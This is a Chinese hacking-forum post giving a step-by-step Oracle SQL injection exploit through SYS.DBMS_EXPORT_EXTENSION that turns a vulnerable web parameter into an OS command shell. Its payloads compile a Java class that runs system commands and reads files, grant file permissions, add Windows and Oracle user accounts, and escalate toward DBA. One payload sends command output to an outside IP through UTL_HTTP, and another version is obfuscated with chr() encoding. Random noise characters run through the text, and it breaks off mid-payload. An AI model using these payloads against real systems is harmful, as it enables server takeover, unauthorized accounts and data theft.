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犀利的 oracle 注入技术

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发表于 2012-9-13 16:49:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

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: I" z9 j) ]- S. k介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。. l# h0 Y/ `1 W! \# M# x2 e

& I/ q7 X; d$ \4 ?0 D% ?; {以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
9 ]+ e2 x8 E# U- c: l1 F8 \% L9 q2 w, x. `1 L2 n! p$ ~7 b
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
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7 y* p% i; I# D8 }$ v的形式即可。(用" 'a'|| "是为了让语句返回true值)
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8 r2 v; u0 H- ?# `- f* @4 r# o语句有点长,可能要用post提交。
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# s. X* h" F$ E" N以下是各个步骤:
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1.创建包
7 L9 Q+ w6 N# ]  f& F7 E' g1 a( \" h通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:4 K" F" S9 J) Z" ^4 N4 v8 Y  f9 ?
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/xxx.jsp?id=1 and '1'<>'a'||(
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''* l: s) x2 E' _; H8 t
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(' R$ ^+ Z/ Z2 j. c
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
' |4 h9 O, ^: S8 E+ ]}'''';END;'';END;--','SYS',0,'1',0) from dual: d* G( L) {5 c
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+ s$ }4 X. t" h. f------------------------
, V: n5 H, H7 Y  j9 K* l  ~; U如果url有长度限制,可以把readFile()函数块去掉,即:
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 h2 q+ r7 t8 ~+ L' y
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
  g( `- c- y' o" I; snew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}# P8 P  Y0 H% I. S3 F1 o
}'''';END;'';END;--','SYS',0,'1',0) from dual3 s% K& {* F, K) x

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" i( t3 o4 b  u同时把后面步骤 提到的 对readFile()的处理语句去掉。8 {$ z; u6 C6 m3 N- @: c. ^' u
------------------------------
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+ i. G0 _& \# ]: y) i& O' v! [2.赋Java权限
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0 n/ r2 s% q2 d! ]! \select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
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3.创建函数7 L9 ^9 ~" |. Q- ?

1 P6 P0 f: `& [4 L. Nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''$ E+ p: P( e; O
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual0 H: F+ Q# Z% V& p; K
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''* i. U  W/ j3 h. \+ M, m3 e& o
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual% ~8 V7 k9 {5 v( B5 _" f

$ ~, |" y3 Y- W/ |) _! V4.赋public执行函数的权限
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual( v  E) E% S* r8 B% ^1 [8 c
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
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5.测试上面的几步是否成功6 g- {( d# P  f
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and '1'<>'11'||(& y3 x4 z1 m' d' @4 j
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
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select OBJECT_ID from all_objects where object_name ='LINXREADFILE'$ G: Z# k$ U, C4 ?0 A
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7 M. q$ W  S+ ]2 O. {5 G9 g6.执行命令:9 l9 f' Q# J" t2 u

' s' W6 o. Z( m3 ?8 ~" ]/xxx.jsp?id=1 and '1'<>(
( F3 ^1 g% h+ q! W! B; [select sys.LinxRunCMD('cmd /c net user linx /add') from dual# v6 U0 D4 J: {; r# m* _
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/xxx.jsp?id=1 and '1'<>(
! `8 Y: v! b; G7 `( a! a; zselect sys.LinxReadFile('c:/boot.ini') from dual# @: H* R) d- |1 t6 ?% o
)
6 ?. a. }9 [% U
9 _4 u# B) R& q0 @: J注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
2 |: ]0 s) q9 \& L' o" O如果要查看运行结果可以用 union :. b  f$ J' X/ C9 C

! K5 I8 u# L* `; b. k/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual6 S" I2 ]# Z$ H4 [. X
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或者UTL_HTTP.request(:" Y: ?: k, b6 ~3 Z; F
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/xxx.jsp?id=1 and '1'<>(
9 R7 A, H  [" c6 ~& s" h( ISELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual9 K. j4 H$ U# ]' v
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。- |& t, u. b% o# n9 L

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--------------------5 S, e0 U3 M/ }+ O# G4 h( {

9 C0 k% J" d  z( d! T+ j% U% E6.内部变化$ z& q) T- W0 {( B
通过以下命令可以查看all_objects表达改变:
$ _% @6 x/ d2 w0 Fselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'& Q: ]" d0 L8 {- J& k% _8 q
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7.删除我们创建的函数# ^) W9 T1 \$ }* c7 u, R* e
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 x# X. ^. l1 |8 Z) q% _- w% p
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual& D, ^! B, Q: d% F" p; D& p% z
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8 P$ T; b8 o% U====================================================
- c% U; ~; H; C7 Z全文结束。谨以此文赠与我的朋友。
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linx7 A* ~1 N; r3 K" i/ ~
124829445
3 M3 _* n. Q5 }% D5 \7 G4 @3 X* c9 Z2008.1.12
, C& L7 O  [. Y$ o+ Z6 Wlinyujian@bjfu.edu.cn2 e9 Q  P& S/ k2 p4 i, n

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) e" c9 r) P) A! u' R======================================================================
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+ h' N* j6 z3 N2 l/ S6 X测试漏洞的另一方法:
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创建oracle帐号:8 h" F6 o2 C8 i
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  s; d0 Y! b) V, i- z# ?CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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  e7 ]* _- z7 N0 G' u* U2 c' @即:4 x$ l8 d  }) J6 ]9 b2 x. Q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),) X/ t* k2 M4 V" J- E
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual; I& \& O+ c9 R6 W( d2 X

+ X/ C: e& p/ y+ C0 Y确定漏洞存在:
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select user_id from all_users where username='LINXSQL'+ A1 x" U' N; Z+ z8 G; ^! p. A
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* {7 u) b+ t: z/ _* T) L) i( E. c6 ?; m给linxsql连接权限:
0 n& |1 v! E4 Tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% p3 ^( E4 T% W3 Z# m$ H
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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& S6 E! O6 z) L7 v7 J删除帐号:
0 b% x" g, R% D; |8 [' F+ Tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
: N7 p% H  H2 \1 N) X# H; ~( |drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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& N' Q. q( ^& ~6 u: A' ~2 |以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:( d8 V, m, M( V7 G- f! s
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1.jsp?id=1 and '1'<>(
: N. u. W( t2 a- h6 n$ E! ]2 dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
' Q; X8 R# z. G8 {/ dcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
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1.jsp?id=1 and '1'<>(
2 q4 E- t: ]2 }8 u8 f+ r" Rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual6 D3 q' {+ i4 @' Z) `0 J. T+ m
) and ...) O4 d2 p8 |2 ^: g) ?0 r1 f

' q+ n2 e7 S) z' J: k! K; o$ \  q1.jsp?id=1 and '1'<>(  }- L& R) d8 N1 D9 K: D2 K1 z
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL! l8 h7 a7 _1 J4 m5 N+ y
) and ...
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) z2 M% d7 @! l( p1.jsp?id=1 and '1'<>(
' H( `% v& r  T# C  M8 jSELECT sys.Linx_Query('declare pragma7 V3 Y8 O+ X: }' J( `: H5 R8 D; r
autonomous_transaction; begin execute immediate ''1 c$ G# J$ F1 k$ m
select 1 from dual) A0 q0 W0 M% Q5 b" l0 S. a
''; commit; end;') from dual7 k. b+ K" k1 i2 r1 h1 p" m, H! w
) and ...
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* y- T* ^0 s  f$ v3 Z  k6 V多语句:
3 I. y: r) V9 ]7 k- B0 _. i  `SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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创建用户(除非当前用户有system权限,否则无法成功):
" x+ I7 o' K3 l9 J5 |) {: hSELECT sys.Linx_Query('declare pragma
/ C& ~2 @  r& o  b& O3 Nautonomous_transaction; begin execute immediate ''
# x! m0 @3 V: ^2 y+ ZCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
6 q: Q* D! A- A# b1 H$ _''; commit; end;') from dual
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================
4 ?7 I, U. R+ `以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
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& D' F6 @- r4 V" m* H8 ]5 i1.创建函数1 S+ {5 G0 P! {: `
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''0 C& X4 c9 D* Q' ^2 U
create or replace function Linx_Query (p% a) F! t' t: \6 l) t9 q
varchar2) return number authid current_user is begin execute immediate
  e8 t2 }3 ?( `" F& dp; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;( L9 S- J$ b. q' b* V

8 y* q, O8 A3 C7 H: C9 g如果有权限,以下语句应该允许正常
) c5 E' B! b, i+ sselect sys.linx_query('select 1 from dual') from dual;! x# c) e  d; Y6 y' C
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不然的话运行:- [, r2 e( q8 |

. ]& c9 x" r) Z; X* Y4 fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''. G, b1 f. {2 N2 l2 V3 L
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual
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2.创建包& a" Q1 g+ @7 |
SELECT sys.Linx_Query('declare pragma% y- W+ X# i# \! z1 F6 W
autonomous_transaction; begin execute immediate ''
% E( e8 m+ X' z, C! L/ Zcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
( ^2 R: ^9 D9 y$ o2 ~8 i9 unew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual$ ?* |$ ]5 E4 I

  F) L7 ?) L2 W3 L6 O3 k+ N3.创建函数  i4 ]7 @# f9 m( Z/ l% y
SELECT sys.Linx_Query('declare pragma! o+ g: N2 C" G; [/ x
autonomous_transaction; begin execute immediate ''
  w6 I; J" K8 mcreate or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual2 [, v' Z7 H1 A9 [% N! V
# I! ~- O& h) v5 q  |9 b! `. S6 ]/ ]
4.给权限$ l! W, R) `9 z& x% e5 U
给用户SYSTEM执行权限:
7 f# r8 w7 C& b. @3 N
( w' _0 _& J5 ^8 r( m9 aSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual/ _7 Q' Z! y4 q6 e* g

1 N, n' z7 R* r7 Z
8 L: U1 Q7 k* i" N; ]$ d
. Q' p3 M0 t) P& h8 s5.执行函数
2 j0 p9 |8 D" J* i1 ~/ b5 eselect RunCMD2('cmd /c dir') from dual
+ D7 D; k5 U- i6 m& q) w9 Y: P7 W5 F! [1 h/ y3 Z! @. O$ X. ~

# i% y+ q# A, C  b% @* f& e' ^9 `- t# }, O% y
5 z5 ]8 S( O3 I

- u9 A- a$ f2 ]! C/ f6 [==================
8 u" e/ w2 j2 U+ R================================, @$ ~+ {! w9 n' E
+ z% D/ a; A; O" j$ E3 ?+ A
以下是无 " ' " 版:
9 b' C2 P& D# d5 }2 B
9 U& [: ^9 _$ B8 u6 m以下是各个步骤:7 c6 |$ U, \% R# H- F; r: a

% R8 X- M# K( K7 i9 m1.创建包
: I8 h  n# t& o通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
, p2 @: z3 J, D9 b  c3 P因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
( ^; @0 E# l( Y* M! h* y- U" {, x( t" K2 Q4 G
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
/ _( H5 k$ y. `
. O; d5 I$ w& r8 aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),# a* Z7 O: n5 y( |
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
, p+ s% t) S# ]6 x7 T! R1 dchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
" ?- J+ F4 P* L1 P) |chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
( `4 z- H( c/ X: W' H# e) Wchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
, y6 J: \5 {; B+ ~* Uchr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||" Q; P, n: F/ J  [. J; J% f# J/ C7 J
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||" `/ Y/ C3 t4 F. g
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||. u! x; R0 p- s/ Y* x
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||0 _3 x- ~* `8 t' Z2 w5 B
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||% L3 J/ a/ a4 Y. e- e0 u
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
7 N$ Y- i/ W5 z# ?0 gchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
# g6 Z+ \, `8 x; \9 b) c7 ychr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||" k3 y, q  G# O# a
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||4 \; F" a* \$ x5 z! h3 d3 b
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||, Q1 @* q: K8 T( J+ g: Y
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
! i4 z$ J, S1 vchr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
( |" T8 z; r' R$ Y6 ], k, i! G7 `chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
3 g" f3 f6 l- S- I" E; O2 M. Jchr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||3 W& H; b9 d& p) t' Z& A6 I
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||9 d4 y9 g# g' k# I3 c" x8 {2 |2 w
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||
+ @7 a: c- k% Nchr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
& l1 m0 w$ b/ D% P7 zchr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
+ V; p1 j# z' ^chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
+ ?+ M  X5 U3 U  O  [2 Ichr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||# [* w- n& w. }  v
